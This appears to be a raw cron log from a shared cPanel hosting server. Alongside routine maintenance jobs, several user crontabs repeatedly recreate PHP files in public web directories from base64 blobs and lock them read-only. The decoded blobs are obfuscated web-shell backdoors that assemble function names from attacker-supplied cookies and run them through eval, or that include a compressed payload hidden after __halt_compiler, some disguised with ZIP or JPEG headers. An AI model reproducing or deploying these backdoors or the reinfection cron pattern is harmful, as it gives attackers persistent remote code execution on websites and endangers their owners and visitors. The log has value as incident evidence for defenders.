Mar  2 12:06:01 medusa CROND[10822]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:06:01 medusa CROND[10824]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 12:06:01 medusa CROND[10826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:06:01 medusa CROND[10834]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:06:01 medusa CROND[10837]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:06:01 medusa CROND[10851]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:06:01 medusa CROND[10857]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:07:01 medusa CROND[31170]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:07:02 medusa CROND[31359]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:07:02 medusa CROND[31361]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 12:07:02 medusa CROND[31360]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:07:02 medusa CROND[31362]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:07:02 medusa CROND[31363]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:07:02 medusa CROND[31365]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:07:02 medusa CROND[31372]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:07:02 medusa CROND[31374]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:07:02 medusa CROND[31378]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:07:02 medusa CROND[31384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:07:02 medusa CROND[31387]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:08:01 medusa CROND[17780]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:08:01 medusa CROND[17910]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:08:01 medusa CROND[17911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:08:01 medusa CROND[17912]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:08:01 medusa CROND[17913]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
